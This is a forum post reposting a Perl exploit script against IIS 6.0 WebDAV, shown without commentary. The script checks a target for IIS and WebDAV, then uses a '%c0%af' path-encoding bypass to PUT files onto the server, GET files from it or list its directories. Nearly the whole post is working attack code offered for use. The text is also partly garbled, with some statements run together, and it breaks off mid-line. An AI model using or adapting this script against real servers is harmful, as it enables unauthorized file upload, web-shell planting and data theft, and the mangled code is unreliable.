muugua 发表于 2018-9-1 09:15:52

MS Windows WebDav for IIS 6.0 V1.0 (PERL VERSION)

*****  #MS Windows WebDav for IIS 6.0 V1.0
  use IO::Socket;
  use Getopt::Long;
  # Globals Go Here.
  my $target;                           # Host being probed.
  my $port;                                       # Webserver port.
  my $method;                           # HTTP Method, PUT GET or .
  my $xpath;                              # WebDAV path on Webserver.
  my $file;                                       # file name.
  my $httpmethod;
  my $Host_Header;      # The Host header has to be changed
  GetOptions(
  "target=s"      => \$target,
  "port=i"      => \$port,
  "method=s"      => \$method,
  "xpath=s"       => \$xpath,
  "file=s"      => \$file,
  "help|?"      => sub {
  hello();
  exit;
  }
  );
  $error .= "Error: You must specify a target host\n" if ((!$target));
  $error .= "Error: You must specify a target port\n" if ((!$port));
  $error .= "Error: You must specify a put or get method\n" if ((!
  $method));
  $error .= "Error: You must specify a webdav path\n" if ((!$xpath));
  $error .= "Error: You must specify a upload or download file name\n"
  if ((!$file) && $method != "l");
  if ($error) {
  print "Try IIS6_webdav_upload_file.pl -help or -?' for more
  information.\n$error\n" ;
  exit;
  }
  hello();
  if ($method eq "p") {
  $httpmethod = "PUT";
  } elsif ($method eq "g") {
  $httpmethod = "GET";
  } elsif ($method eq "l") {
  $httpmethod = "PROPFIND";
  } else {
  print "$method Method not accept !!!\n";
  exit(0);
  }
  # ************************************
  # * We testing WebDAV methods first*
  # ************************************
  print "-" x 60 ."\n";
  print "Testing WebDAV methods [$target $port]\n";
  print "-" x 60 ."\n";
  @results=sendraw2("OPTIONS / HTTP/1.0\r\n\r\n",$target,$port,10);
  if ($#results < 1){die "10s timeout to $target on port $port\n";}
  #print @results;
  $flag="off";
  foreach $line (@results){
  if ($line =~ /^Server: /){
  ($left,$right)=split(/\:/,$line);
  $right =~ s/ //g;
  print "$target : Server type is : $right";
  if ($right !~ /Microsoft-IIS/i){
  print "$target : Not a Microsoft IIS Server\n";
  exit(0);
  }
  }
  if ($line =~ /^DAV: /){
  $flag="on";
  }
  if ($line =~ /^Public: / && $flag eq "on"){
  ($left,$right)=split(/\:/,$line);
  $right =~ s/ //g;
  print "$target : Method type is : $right";
  if ($right !~ /$httpmethod/i){
  print "$target : Not allow $httpmethod on this WebDAV Server\n";
  exit(0);
  } else {
  $flag="on";
  }
  }
  }
  if ($flag eq "off") {
  print "$target : WebDAV disable\n";
  exit(0);
  }
  #end of WebDAV testing.
  print "-" x 60 ."\n";
  my $content;
  my $data;
  if ($httpmethod eq "PUT") {

  #cacl file>  $filesize = -s $file;

  print "$file>  open(INFO, $file) || die("Could not open file!");
  #@lines=;
  binmode(INFO); #binary
  while(read(INFO, $data, $filesize))
  {
  $content .= $data;
  }
  close(INFO);
  #print $content;
  $Host_Header = "Translate: f\r\nHost: $target\r\nContent-Length:
  $filesize\r\n";
  } elsif ($httpmethod eq "GET") {
  $Host_Header = "Translate: f\r\nHost: $target\r\nConnection: close\r\n
  \r\n";
  } elsif ($httpmethod eq "PROPFIND") {
  $Host_Header = "Host: $target\r\nConnection: close\r\nContent-Type:
  text/xml; charset=\"utf-8\"\r\nContent-Length: 0\r\n\r\n";
  $Host_Header = $Host_Header."";
  }
  print "-" x 60 ."\n$httpmethod $file , Please wait ...\n"."-" x
  60 ."\n";
  # ************************************
  # * Sending HTTP request for WebDAV*
  # ************************************
  if ($httpmethod eq "PUT") {
  @results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n
  $Host_Header\r\n$content",$target,$port,10);
  if ($#results < 1){die "10s timeout to $target on port $port\n";}
  } elsif ($httpmethod eq "GET") {
  @results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n
  $Host_Header",$target,$port,10);
  if ($#results < 1){die "10s timeout to $target on port $port\n";}
  } elsif ($httpmethod eq "PROPFIND") {
  @results=sendraw2("$httpmethod /%c0%af$xpath/ HTTP/1.0\r\n
  $Host_Header",$target,$port,10);
  if ($#results < 1){die "10s timeout to $target on port $port\n";}
  }
  #print @results;
  $flag="off";
  foreach $line (@results){
  if ($line =~ m|^HTTP/1\. 2 |){
  $flag="on";
  }
  if ($line =~ m|^HTTP/1\. 4 |){
  $flag="off";
  }
  }
  print "-" x 60 ."\n";
  if ($flag eq "on") {
  if ($httpmethod eq "PUT") {
  print "$httpmethod $file from [$target:$port/$xpath] OK\r\n";
  } elsif ($httpmethod eq "GET") {
  my $line_no = 0;
  my $counter = @results;
  foreach $line (@results){
  ++$line_no;
  if ($line =~ /^Accept-Ranges: bytes\r\n/){
  last;
  }
  }
  # Write file to disk
  open(OUTFILE, ">$file") or die "Could not write to file: $!\n";
  binmode (OUTFILE);
  print OUTFILE @results[$line_no+1..$counter];
  close(OUTFILE);
  print "$httpmethod $file from [$target:$port/$xpath] OK\r\nPlease
  check $file on local disk\r\n";
  } elsif ($httpmethod eq "PROPFIND") {
  print "$httpmethod path list from [$target:$port/$xpath] OK\r\n";
  foreach $line (@results){
  if ($line =~ /^\
页: [1]
查看完整版本: MS Windows WebDav for IIS 6.0 V1.0 (PERL VERSION)